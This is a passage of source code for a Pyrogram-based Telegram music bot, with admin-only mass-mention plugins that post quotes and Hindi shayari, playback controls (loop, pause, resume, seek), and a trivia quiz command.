ᴍᴏᴜɴᴛᴀɪɴ, ɴᴏᴛ ᴀ ʙᴇᴀᴄʜ.**", "**❅ ᴛʜᴇ ᴡᴏʀsᴛ ᴛʜɪɴɢ ɪɴ ʟɪғᴇ ɪs ᴛʜᴀᴛ ɪᴛ ᴘᴀssᴇs.**", "**❅ ʟɪғᴇ ɪs sɪᴍᴘʟᴇ ɪғ ᴡᴇ ᴀʀᴇ sɪᴍᴘʟᴇ.**", "**❅ ᴀʟᴡᴀʏs ᴛʜɪɴᴋ ᴛᴡɪᴄᴇ, sᴘᴇᴀᴋ ᴏɴᴄᴇ.**", "**❅ ʟɪғᴇ ɪs sɪᴍᴘʟᴇ, ᴡᴇ ᴍᴀᴋᴇ ɪᴛ ᴄᴏᴍᴘʟɪᴄᴀᴛᴇᴅ.**", "**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴍᴜᴄʜ ᴏʟᴅᴇʀ ᴛʜᴀɴ ᴛʜᴇ ᴅᴇᴀᴛʜ.**", "**❅ ᴛʜᴇ sᴇᴄʀᴇᴛ ᴏғ ʟɪғᴇ ɪs ʟᴏᴡ ᴇxᴘᴇᴄᴛᴀᴛɪᴏɴs!**", "**❅ ʟɪғᴇ ɪs ᴀ ᴛᴇᴀᴄʜᴇʀ..,ᴛʜᴇ ᴍᴏʀᴇ ᴡᴇ ʟɪᴠᴇ, ᴛʜᴇ ᴍᴏʀᴇ ᴡᴇ ʟᴇᴀʀɴ.**", "**❅ ʜᴜᴍᴀɴ ʟɪғᴇ ɪs ɴᴏᴛʜɪɴɢ ʙᴜᴛ ᴀɴ ᴇᴛᴇʀɴᴀʟ ɪʟʟᴜsɪᴏɴ.**", "**❅ ᴛʜᴇ ʜᴀᴘᴘɪᴇʀ ᴛʜᴇ ᴛɪᴍᴇ, ᴛʜᴇ sʜᴏʀᴛᴇʀ ɪᴛ ɪs.**", "**❅ ʟɪғᴇ ɪs ʙᴇᴀᴜᴛɪғᴜʟ ɪғ ʏᴏᴜ ᴋɴᴏᴡ ᴡʜᴇʀᴇ ᴛᴏ ʟᴏᴏᴋ.**", "**❅ ʟɪғᴇ ɪs ᴀᴡᴇsᴏᴍᴇ ᴡɪᴛʜ ʏᴏᴜ ʙʏ ᴍʏ sɪᴅᴇ.**", "**❅ ʟɪғᴇ – ʟᴏᴠᴇ = ᴢᴇʀᴏ**", "**❅ ʟɪғᴇ ɪs ғᴜʟʟ ᴏғ sᴛʀᴜɢɢʟᴇs.**", "**❅ ɪ ɢᴏᴛ ʟᴇss ʙᴜᴛ ɪ ɢᴏᴛ ʙᴇsᴛ **", "**❅ ʟɪғᴇ ɪs 10% ᴡʜᴀᴛ ʏᴏᴜ ᴍᴀᴋᴇ ɪᴛ, ᴀɴᴅ 90% ʜᴏᴡ ʏᴏᴜ ᴛᴀᴋᴇ ɪᴛ.**", "**❅ ᴛʜᴇʀᴇ ɪs sᴛɪʟʟ sᴏ ᴍᴜᴄʜ ᴛᴏ sᴇᴇ**", "**❅ ʟɪғᴇ ᴅᴏᴇsɴ’ᴛ ɢᴇᴛ ᴇᴀsɪᴇʀ ʏᴏᴜ ɢᴇᴛ sᴛʀᴏɴɢᴇʀ.**", "**❅ ʟɪғᴇ ɪs ᴀʙᴏᴜᴛ ʟᴀᴜɢʜɪɴɢ & ʟɪᴠɪɴɢ.**", "**❅ ᴇᴀᴄʜ ᴘᴇʀsᴏɴ ᴅɪᴇs ᴡʜᴇɴ ʜɪs ᴛɪᴍᴇ ᴄᴏᴍᴇs.**", ] @app.on_message(filters.command(["hitag" ], prefixes=["/", "@", "#"])) async def mentionall(client, message): chat_id = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.") is_admin = False try: participant = await client.get_chat_member(chat_id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ") if message.reply_to_message and message.text: return await message.reply("/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...") elif message.text: mode = "text_on_cmd" msg = message.text elif message.reply_to_message: mode = "text_on_reply" msg = message.reply_to_message if not msg: return await message.reply("/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...") else: return await message.reply("/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...") if chat_id in spam_chats: return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...") spam_chats.append(chat_id) usrnum = 0 usrtxt = "" async for usr in client.get_chat_members(chat_id): if not chat_id in spam_chats: break if usr.user.is_bot: continue usrnum += 1 usrtxt += "{}".format(usr.user.id, usr.user.first_name) if usrnum == 1: if mode == "text_on_cmd": txt = f"{usrtxt} {random.choice(TAGMES)}" await client.send_message(chat_id, txt) elif mode == "text_on_reply": await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})") await asyncio.sleep(4) usrnum = 0 usrtxt = "" try: spam_chats.remove(chat_id) except: pass @app.on_message(filters.command(["lifetag"], prefixes=["/", "@", "#"])) async def mention_allvc(client, message): chat_id = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.") is_admin = False try: participant = await client.get_chat_member(chat_id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ") if chat_id in spam_chats: return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...") spam_chats.append(chat_id) usrnum = 0 usrtxt = "" async for usr in client.get_chat_members(chat_id): if not chat_id in spam_chats: break if usr.user.is_bot: continue usrnum += 1 usrtxt += "{}".format(usr.user.id, usr.user.first_name) if usrnum == 1: txt = f"{usrtxt} {random.choice(VC_TAG)}" await client.send_message(chat_id, txt) await asyncio.sleep(4) usrnum = 0 usrtxt = "" try: spam_chats.remove(chat_id) except: pass @app.on_message(filters.command(["cancel", "histop", "lifestop"])) async def cancel_spam(client, message): if not message.chat.id in spam_chats: return await message.reply("๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.") is_admin = False try: participant = await client.get_chat_member(message.chat.id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.") else: try: spam_chats.remove(message.chat.id) except: pass return await message.reply("๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏") ================================================ FILE: BrandrdXMusic/plugins/admins/loop.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.utils.database import get_loop, set_loop from BrandrdXMusic.utils.decorators import AdminRightsCheck from BrandrdXMusic.utils.inline import close_markup from config import BANNED_USERS @app.on_message(filters.command(["loop", "cloop"]) & filters.group & ~BANNED_USERS) @AdminRightsCheck async def admins(cli, message: Message, _, chat_id): usage = _["admin_17"] if len(message.command) != 2: return await message.reply_text(usage) state = message.text.split(None, 1)[1].strip() if state.isnumeric(): state = int(state) if 1 <= state <= 10: got = await get_loop(chat_id) if got != 0: state = got + state if int(state) > 10: state = 10 await set_loop(chat_id, state) return await message.reply_text( text=_["admin_18"].format(state, message.from_user.mention), reply_markup=close_markup(_), ) else: return await message.reply_text(_["admin_17"]) elif state.lower() == "enable": await set_loop(chat_id, 10) return await message.reply_text( text=_["admin_18"].format(state, message.from_user.mention), reply_markup=close_markup(_), ) elif state.lower() == "disable": await set_loop(chat_id, 0) return await message.reply_text( _["admin_19"].format(message.from_user.mention), reply_markup=close_markup(_), ) else: return await message.reply_text(usage) ================================================ FILE: BrandrdXMusic/plugins/admins/pause.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.utils.database import is_music_playing, music_off from BrandrdXMusic.utils.decorators import AdminRightsCheck from BrandrdXMusic.utils.inline import close_markup from config import BANNED_USERS @app.on_message(filters.command(["pause", "cpause"]) & filters.group & ~BANNED_USERS) @AdminRightsCheck async def pause_admin(cli, message: Message, _, chat_id): if not await is_music_playing(chat_id): return await message.reply_text(_["admin_1"]) await music_off(chat_id) await Hotty.pause_stream(chat_id) await message.reply_text( _["admin_2"].format(message.from_user.mention), reply_markup=close_markup(_) ) ================================================ FILE: BrandrdXMusic/plugins/admins/quiz.py ================================================ import random import requests import time from pyrogram import filters from pyrogram.enums import PollType, ChatAction from BrandrdXMusic import app last_command_time = {} @app.on_message(filters.command(["quiz"])) async def quiz(client, message): user_id = message.from_user.id current_time = time.time() if user_id in last_command_time and current_time - last_command_time[user_id] < 5: await message.reply_text( "Pʟᴇᴀsᴇ ᴡᴀɪᴛ 𝟻 sᴇᴄᴏɴᴅs ʙᴇғᴏʀᴇ ᴜsɪɴɢ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴀɢᴀɪɴ." ) return last_command_time[user_id] = current_time categories = [9, 17, 18, 20, 21, 27] await app.send_chat_action(message.chat.id, ChatAction.TYPING) url = f"https://opentdb.com/api.php?amount=1&category={random.choice(categories)}&type=multiple" response = requests.get(url).json() question_data = response["results"][0] question = question_data["question"] correct_answer = question_data["correct_answer"] incorrect_answers = question_data["incorrect_answers"] all_answers = incorrect_answers + [correct_answer] random.shuffle(all_answers) cid = all_answers.index(correct_answer) await app.send_poll( chat_id=message.chat.id, question=question, options=all_answers, is_anonymous=False, type=PollType.QUIZ, correct_option_id=cid, ) ================================================ FILE: BrandrdXMusic/plugins/admins/resume.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.utils.database import is_music_playing, music_on from BrandrdXMusic.utils.decorators import AdminRightsCheck from BrandrdXMusic.utils.inline import close_markup from config import BANNED_USERS @app.on_message(filters.command(["resume", "cresume"]) & filters.group & ~BANNED_USERS) @AdminRightsCheck async def resume_com(cli, message: Message, _, chat_id): if await is_music_playing(chat_id): return await message.reply_text(_["admin_3"]) await music_on(chat_id) await Hotty.resume_stream(chat_id) await message.reply_text( _["admin_4"].format(message.from_user.mention), reply_markup=close_markup(_) ) ================================================ FILE: BrandrdXMusic/plugins/admins/seek.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import YouTube, app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.misc import db from BrandrdXMusic.utils import AdminRightsCheck, seconds_to_min from BrandrdXMusic.utils.inline import close_markup from config import BANNED_USERS @app.on_message( filters.command(["seek", "cseek", "seekback", "cseekback"]) & filters.group & ~BANNED_USERS ) @AdminRightsCheck async def seek_comm(cli, message: Message, _, chat_id): if len(message.command) == 1: return await message.reply_text(_["admin_20"]) query = message.text.split(None, 1)[1].strip() if not query.isnumeric(): return await message.reply_text(_["admin_21"]) playing = db.get(chat_id) if not playing: return await message.reply_text(_["queue_2"]) duration_seconds = int(playing[0]["seconds"]) if duration_seconds == 0: return await message.reply_text(_["admin_22"]) file_path = playing[0]["file"] duration_played = int(playing[0]["played"]) duration_to_skip = int(query) duration = playing[0]["dur"] if message.command[0][-2] == "c": if (duration_played - duration_to_skip) <= 10: return await message.reply_text( text=_["admin_23"].format(seconds_to_min(duration_played), duration), reply_markup=close_markup(_), ) to_seek = duration_played - duration_to_skip + 1 else: if (duration_seconds - (duration_played + duration_to_skip)) <= 10: return await message.reply_text( text=_["admin_23"].format(seconds_to_min(duration_played), duration), reply_markup=close_markup(_), ) to_seek = duration_played + duration_to_skip + 1 mystic = await message.reply_text(_["admin_24"]) if "vid_" in file_path: n, file_path = await YouTube.video(playing[0]["vidid"], True) if n == 0: return await message.reply_text(_["admin_22"]) check = (playing[0]).get("speed_path") if check: file_path = check if "index_" in file_path: file_path = playing[0]["vidid"] try: await Hotty.seek_stream( chat_id, file_path, seconds_to_min(to_seek), duration, playing[0]["streamtype"], ) except: return await mystic.edit_text(_["admin_26"], reply_markup=close_markup(_)) if message.command[0][-2] == "c": db[chat_id][0]["played"] -= duration_to_skip else: db[chat_id][0]["played"] += duration_to_skip await mystic.edit_text( text=_["admin_25"].format(seconds_to_min(to_seek), message.from_user.mention), reply_markup=close_markup(_), ) ================================================ FILE: BrandrdXMusic/plugins/admins/shayari.py ================================================ from BrandrdXMusic import app import asyncio import random from pyrogram import Client, filters from pyrogram.enums import ChatType, ChatMemberStatus from pyrogram.errors import UserNotParticipant from pyrogram.types import ChatPermissions spam_chats = [] EMOJI = [ "🦋🦋🦋🦋🦋", "🧚🌸🧋🍬🫖", "🥀🌷🌹🌺💐", "🌸🌿💮🌱🌵", "❤️💚💙💜🖤", "💓💕💞💗💖", "🌸💐🌺🌹🦋", "🍔🦪🍛🍲🥗", "🍎🍓🍒🍑🌶️", "🧋🥤🧋🥛🍷", "🍬🍭🧁🎂🍡", "🍨🧉🍺☕🍻", "🥪🥧🍦🍥🍚", "🫖☕🍹🍷🥛", "☕🧃🍩🍦🍙", "🍁🌾💮🍂🌿", "🌨️🌥️⛈️🌩️🌧️", "🌷🏵️🌸🌺💐", "💮🌼🌻🍀🍁", "🧟🦸🦹🧙👸", "🧅🍠🥕🌽🥦", "🐷🐹🐭🐨🐻‍❄️", "🦋🐇🐀🐈🐈‍⬛", "🌼🌳🌲🌴🌵", "🥩🍋🍐🍈🍇", "🍴🍽️🔪🍶🥃", "🕌🏰🏩⛩️🏩", "🎉🎊🎈🎂🎀", "🪴🌵🌴🌳🌲", "🎄🎋🎍🎑🎎", "🦅🦜🕊️🦤🦢", "🦤🦩🦚🦃🦆", "🐬🦭🦈🐋🐳", "🐔🐟🐠🐡🦐", "🦩🦀🦑🐙🦪", "🐦🦂🕷️🕸️🐚", "🥪🍰🥧🍨🍨", " 🥬🍉🧁🧇", ] #### SHAYRI = [ " 🌺**बहुत अच्छा लगता है तुझे सताना और फिर प्यार से तुझे मनाना।**🌺 \n\n**🥀Bahut aacha lagta hai tujhe satana Aur fir pyar se tujhe manana.🥀** ", " 🌺**मेरी जिंदगी मेरी जान हो तुम मेरे सुकून का दुसरा नाम हो तुम।**🌺 \n\n**🥀Meri zindagi Meri jaan ho tum Mere sukoon ka Dusra naam ho tum.🥀** ", " 🌺**तुम मेरी वो खुशी हो जिसके बिना, मेरी सारी खुशी अधूरी लगती है।**🌺 \n\n**🥀**Tum Meri Wo Khushi Ho Jiske Bina, Meri Saari Khushi Adhuri Lagti Ha.🥀** ", " 🌺**काश वो दिन जल्दी आए,जब तू मेरे साथ सात फेरो में बन्ध जाए।**🌺 \n\n**🥀Kash woh din jldi aaye Jb tu mere sath 7 feron me bndh jaye.🥀** ", " 🌺**अपना हाथ मेरे दिल पर रख दो और अपना दिल मेरे नाम कर दो।**🌺 \n\n**🥀apna hath mere dil pr rakh do aur apna dil mere naam kar do.🥀** ", " 🌺**महादेव ना कोई गाड़ी ना कोई बंगला चाहिए सलामत रहे मेरा प्यार बस यही दुआ चाहिए।**🌺 \n\n**🥀Mahadev na koi gadi na koi bangla chahiye salamat rhe mera pyar bas yahi dua chahiye.🥀** ", " 🌺**फिक्र तो होगी ना तुम्हारी इकलौती मोहब्बत हो तुम मेरी।**🌺 \n\n**🥀Fikr to hogi na tumhari ikloti mohabbat ho tum meri.🥀** ", " 🌺**सुनो जानू आप सिर्फ किचन संभाल लेना आप को संभालने के लिए मैं हूं ना।**🌺 \n\n**🥀suno jaanu aap sirf kitchen sambhal lena ap ko sambhlne ke liye me hun naa.🥀** ", " 🌺**सौ बात की एक बात मुझे चाहिए बस तेरा साथ।**🌺 \n\n**🥀So bat ki ek bat mujhe chahiye bas tera sath.🥀** ", " 🌺**बहुत मुश्किलों से पाया हैं तुम्हें, अब खोना नहीं चाहते,कि तुम्हारे थे तुम्हारे हैं अब किसी और के होना नहीं चाहते।**🌺 \n\n**🥀Bahut muskilon se paya hai tumhe Ab khona ni chahte ki tumhare they tumhare hai ab kisi or k hona nhi chahte.🥀** ", " 🌺**बेबी बातें तो रोज करते है चलो आज रोमांस करते है।**🌺 \n\n**🥀Baby baten to roj karte haichalo aaj romance karte hai..🥀** ", " 🌺**सुबह शाम तुझे याद करते है हम और क्या बताएं की तुमसे कितना प्यार करते है हम।**🌺 \n\n**🥀subha sham tujhe yad karte hai hum aur kya batayen ki tumse kitna pyar karte hai hum.🥀** ", " 🌺**किसी से दिल लग जाने को मोहब्बत नहीं कहते जिसके बिना दिल न लगे उसे मोहब्बत कहते हैं।**🌺 \n\n**🥀Kisi se dil lag jane ko mohabbat nahi kehte jiske nina dil na lage use mohabbat kehte hai.🥀** ", " 🌺**मेरे दिल के लॉक की चाबी हो तुम क्या बताएं जान मेरे जीने की एकलौती वजह हो तुम।**🌺 \n\n**🥀mere dil ke lock ki chabi ho tum kya batayen jaan mere jeene ki eklauti wajah ho tum..🥀** ", " 🌺**हम आपकी हर चीज़ से प्यार कर लेंगे, आपकी हर बात पर ऐतबार कर लेंगे, बस एक बार कह दो कि तुम सिर्फ मेरे हो, हम ज़िन्दगी भर आपका इंतज़ार कर लेंगे।**🌺 \n\n**🥀Hum apki har cheez se pyar kar lenge apki har baat par etvar kar lenge bas ek bar keh do ki tum sirf mere ho hum zindagi bhar apka intzaar kar lenge..🥀** ", " 🌺**मोहब्बत कभी स्पेशल लोगो से नहीं होती जिससे होती है वही स्पेशल बन जाता है।**🌺 \n\n**🥀Mohabbat kabhi special logo se nahi hoti jisse bhi hoti hai wahi special ban jate hai,.🥀**", " 🌺**तू मेरी जान है इसमें कोई शक नहीं तेरे अलावा मुझ पर किसी और का हक़ नहीं।**🌺 \n\n**🥀Tu meri jaan hai isme koi shak nahi tere alawa mujhe par kisi aur ka hak nhi..🥀** ", " 🌺**पहली मोहब्बत मेरी हम जान न सके, प्यार क्या होता है हम पहचान न सके, हमने उन्हें दिल में बसा लिया इस कदर कि, जब चाहा उन्हें दिल से निकाल न सके।**🌺 \n\n**🥀Pehli mohabbat meri hum jaan na sake pyar kya hota hai hum pehchan na sake humne unhe dil me basa liya is kadar ki jab chaha unhe dil se nikal na sake.🥀** ", " 🌺**खुद नहीं जानती वो कितनी प्यारी हैं , जान है हमारी पर जान से प्यारी हैं, दूरियों के होने से कोई फर्क नहीं पड़ता वो कल भी हमारी थी और आज भी हमारी है.**🌺 \n\n**🥀khud nahi janti vo kitni pyari hai jan hai hamari par jan se jyda payari hai duriya ke hone se frak nahi pdta vo kal bhe hamari the or aaj bhe hamari hai.🥀** ", " 🌺**चुपके से आकर इस दिल में उतर जाते हो, सांसों में मेरी खुशबु बनके बिखर जाते हो, कुछ यूँ चला है तेरे इश्क का जादू, सोते-जागते तुम ही तुम नज़र आते हो।**🌺 \n\n**🥀Chupke Se Aakar Iss Dil Mein Utar Jate Ho, Saanso Mein Meri Khushbu BanKe Bikhar Jate Ho,Kuchh Yun Chala Hai Tere Ishq Ka Jadoo, Sote-Jagte Tum Hi Tum Najar Aate Ho..🥀** ", " 🌺**प्यार करना सिखा है नफरतो का कोई ठौर नही, बस तु ही तु है इस दिल मे दूसरा कोई और नही.**🌺 \n\n**🥀Pyar karna sikha hai naftaro ka koi thor nahi bas tu hi tu hai is dil me dusra koi aur nahi hai.🥀** ", " 🌺**रब से आपकी खुशीयां मांगते है, दुआओं में आपकी हंसी मांगते है, सोचते है आपसे क्या मांगे,चलो आपसे उम्र भर की मोहब्बत मांगते है।**🌺\n\n**🥀Rab se apki khushiyan mangte hai duao me apki hansi mangte hai sochte hai apse kya mange chalo apse umar bhar ki mohabbat mangte hai..🥀** ", " 🌺**काश मेरे होंठ तेरे होंठों को छू जाए देखूं जहा बस तेरा ही चेहरा नज़र आए हो जाए हमारा रिश्ता कुछ ऐसा होंठों के साथ हमारे दिल भी जुड़ जाए.**🌺\n\n**🥀kash mere hoth tere hontho ko chu jayen dekhun jaha bas teri hi chehra nazar aaye ho jayen humara rishta kuch easa hothon ke sath humare dil bhi jud jaye.🥀** ", " 🌺**आज मुझे ये बताने की इजाज़त दे दो, आज मुझे ये शाम सजाने की इजाज़त दे दो, अपने इश्क़ मे मुझे क़ैद कर लो,आज जान तुम पर लूटाने की इजाज़त दे दो.**🌺\n\n**🥀Aaj mujhe ye batane ki izazat de do, aaj mujhe ye sham sajane ki izazat de do, apne ishq me mujhe ked kr lo aaj jaan tum par lutane ki izazat de do..🥀** ", " 🌺**जाने लोग मोहब्बत को क्या क्या नाम देते है, हम तो तेरे नाम को ही मोहब्बत कहते है.**🌺\n\n**🥀Jane log mohabbat ko kya kya naam dete hai hum to tere naam ko hi mohabbat kehte hai..🥀** ", " 🌺**देख के हमें वो सिर झुकाते हैं। बुला के महफिल में नजर चुराते हैं। नफरत हैं हमसे तो भी कोई बात नहीं। पर गैरो से मिल के दिल क्यों जलाते हो।**🌺\n\n**🥀Dekh Ke Hame Wo Sir Jhukate Hai Bula Ke Mahfhil Me Najar Churate Hai Nafrat Hai Hamse To Bhi Koei Bat Nhi Par Gairo Se Mil Ke Dil Kyo Jalate Ho.🥀** ", " 🌺**तेरे बिना टूट कर बिखर जायेंगे,तुम मिल गए तो गुलशन की तरह खिल जायेंगे, तुम ना मिले तो जीते जी ही मर जायेंगे, तुम्हें जो पा लिया तो मर कर भी जी जायेंगे।**🌺\n\n**🥀Tere bina tut kar bikhar jeynge tum mil gaye to gulshan ki tarha khil jayenge tum na mile to jite ji hi mar jayenge tumhe jo pa liya to mar kar bhi ji jayenge..🥀** ", " 🌺**सनम तेरी कसम जेसे मै जरूरी हूँ तेरी ख़ुशी के लिये, तू जरूरी है मेरी जिंदगी के लिये.**🌺\n\n**🥀Sanam teri kasam jese me zaruri hun teri khushi ke liye tu zaruri hai meri zindagi ke liye.🥀** ", " 🌺**तुम्हारे गुस्से पर मुझे बड़ा प्यार आया हैं इस बेदर्द दुनिया में कोई तो हैं जिसने मुझे पुरे हक्क से धमकाया हैं.**🌺\n\n**🥀Tumharfe gusse par mujhe pyar aaya hai is bedard duniya me koi to hai jisne mujhe pure hakk se dhamkaya hai.🥀** ", " 🌺**पलको से आँखो की हिफाजत होती है धडकन दिल की अमानत होती है ये रिश्ता भी बडा प्यारा होता है कभी चाहत तो कभी शिकायत होती है.**🌺\n\n**🥀Palkon se Aankho ki hifajat hoti hai dhakad dil ki Aamanat hoti hai, ye rishta bhi bada pyara hota hai, kabhi chahat to kabhi shikayat hoti hai.🥀** ", " 🌺**मुहब्बत को जब लोग खुदा मानते हैं प्यार करने वाले को क्यों बुरा मानते हैं। जब जमाना ही पत्थर दिल हैं। फिर पत्थर से लोग क्यों दुआ मांगते है।**🌺\n\n**🥀Muhabbt Ko Hab Log Khuda Mante Hai, Payar Karne Walo Ko Kyu Bura Mante Hai,Jab Jamana Hi Patthr Dil Hai,Fhir Patthr Se Log Kyu Duaa Magte Hai.🥀** ", " 🌺**हुआ जब इश्क़ का एहसास उन्हें आकर वो पास हमारे सारा दिन रोते रहे हम भी निकले खुदगर्ज़ इतने यारो कि ओढ़ कर कफ़न, आँखें बंद करके सोते रहे।**🌺\n\n**🥀Hua jab ishq ka ehsaas unhe akar wo pass humare sara din rate rahe, hum bhi nikale khudgarj itne yaro ki ood kar kafan ankhe band krke sote rhe.🥀** ", " 🌺**दिल के कोने से एक आवाज़ आती हैं। हमें हर पल उनकी याद आती हैं। दिल पुछता हैं बार -बार हमसे के जितना हम याद करते हैं उन्हें क्या उन्हें भी हमारी याद आती हैं।**🌺\n\n**🥀Dil Ke Kone Se Ek Aawaj Aati Hai, Hame Har Pal Uaski Yad Aati Hai, Dil Puchhta Hai Bar Bar Hamse Ke, Jitna Ham Yad Karte Hai Uanhe, Kya Uanhe Bhi Hamari Yad Aati Hai,🥀** ", " 🌺**कभी लफ्ज़ भूल जाऊं कभी बात भूल जाऊं, तूझे इस कदर चाहूँ कि अपनी जात भूल जाऊं, कभी उठ के तेरे पास से जो मैं चल दूँ, जाते हुए खुद को तेरे पास भूल जाऊं।**🌺\n\n**🥀Kabhi Lafz Bhool Jaaun Kabhi Baat Bhool Jaaun, Tujhe Iss Kadar Chahun Ki Apni Jaat Bhool Jaaun, Kabhi Uthh Ke Tere Paas Se Jo Main Chal Dun, Jaate Huye Khud Ko Tere Paas Bhool Jaaun..🥀** ", " 🌺**आईना देखोगे तो मेरी याद आएगी साथ गुज़री वो मुलाकात याद आएगी पल भर क लिए वक़्त ठहर जाएगा, जब आपको मेरी कोई बात याद आएगी.**🌺\n\n**🥀Aaina dekhoge to meri yad ayegi sath guzari wo mulakat yad ayegi pal bhar ke waqt thahar jayega jab apko meri koi bat yad ayegi.🥀** ", " 🌺**प्यार किया तो उनकी मोहब्बत नज़र आई दर्द हुआ तो पलके उनकी भर आई दो दिलों की धड़कन में एक बात नज़र आई दिल तो उनका धड़का पर आवाज़ इस दिल की आई.**🌺\n\n**🥀Pyar kiya to unki mohabbat nazar aai dard hua to palke unki bhar aai do dilon ki dhadkan me ek baat nazar aai dil to unka dhadka par awaz dil ki aai.🥀** ", " 🌺**कई चेहरे लेकर लोग यहाँ जिया करते हैं हम तो बस एक ही चेहरे से प्यार करते हैं ना छुपाया करो तुम इस चेहरे को,क्योंकि हम इसे देख के ही जिया करते हैं.**🌺\n\n**🥀Kai chehre lekar log yahn jiya karte hai hum to bas ek hi chehre se pyar karte hai na chupaya karo tum is chehre ko kyuki hum ise dekh ke hi jiya karte hai.🥀** ", " 🌺**सबके bf को अपनी gf से बात करके नींद आजाती है और मेरे वाले को मुझसे लड़े बिना नींद नहीं आती।**🌺\n\n**🥀Sabke bf ko apni gf se baat karke nind aajati hai aur mere wale ko mujhse lade bina nind nhi aati.🥀** ", " 🌺**सच्चा प्यार कहा किसी के नसीब में होता है. एसा प्यार कहा इस दुनिया में किसी को नसीब होता है.**🌺\n\n**🥀Sacha pyar kaha kisi ke nasib me hota hai esa pyar kahan is duniya me kisi ko nasib hota hai.🥀** " ] # Command @app.on_message(filters.command(["shayari" ], prefixes=["/", "@", "#"])) async def mentionall(client, message): chat_id = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply("𝐓𝐡𝐢𝐬 𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐎𝐧𝐥𝐲 𝐅𝐨𝐫 𝐆𝐫𝐨𝐮𝐩𝐬.") is_admin = False try: participant = await client.get_chat_member(chat_id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 . ") if message.reply_to_message and message.text: return await message.reply("/shayaril 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ") elif message.text: mode = "text_on_cmd" msg = message.text elif message.reply_to_message: mode = "text_on_reply" msg = message.reply_to_message if not msg: return await message.reply("/shayari 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ...") else: return await 